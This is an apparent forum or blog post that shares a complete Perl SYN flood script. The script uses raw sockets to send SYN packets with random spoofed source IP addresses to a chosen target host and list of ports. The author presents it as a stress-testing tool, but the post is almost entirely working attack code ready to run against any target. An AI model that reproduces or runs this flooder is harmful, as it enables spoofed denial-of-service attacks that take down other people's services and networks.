SYN flooder

This is a pretty simple SYN flooder - spoofs source IP's and ports, super effective. I wrote this for stress testing services on my network.

#!/usr/bin/perl -w
####
# this is a proof of concept syn flooder written in Perl.
# it's pretty straight forward.  sends packets with the syn flag
# enabled, causing half open connections sent from random spoofed IP's.
#
# one addition is the ability to specify a list of ports, rather than just
# targeting a single port.
#
# don't use this for any malicious purposes.. it's strictly for stress
# testing routers/networks.
#
# - nwo 10/17/2007
####

require 'getopts.pl';

### need to utilize raw sockets.
use Net::RawIP;
Getopts('t:p:n:');


### function to create random IP's.
sub randip () {
  $ip = join(".", map int rand 256, 1 .. 4);
  return("$ip");
}


### set up the socket.
$syn = new Net::RawIP;

die "Usage: $0 -t (target) -p (port) -n (number of packets)\n"
unless ($opt_t && $opt_p && $opt_n);
### allow the user to specify a list of comma seperated ports via the command line.
@ports = split(/\,/, $opt_p);
$list = @ports;

### super awesome output.
print "Hitting $opt_t on port(s) @ports with $opt_n packets....\n";

### start the loop
for($i = 1;$i < $opt_n;$i++) {
  ### randomly select a port out of the @ports array
  $nlist = int rand($list);
  $dport = $ports[$nlist];

  ### set up the packet..
  $syn->set({
      ip => {
             daddr => $opt_t,
             saddr => &randip,
            },

  ### specify the destination port and source port.. 
  ### make sure the syn flag is enabled.
      tcp => {
              dest => $dport,
              source => $dport,
              ack => 0,
              urg => 0,
              rst => 0,
              fin => 0,
              psh => 0,
              syn => 1
             }
      });
  ### send the packet! yay!
      $syn->send;
}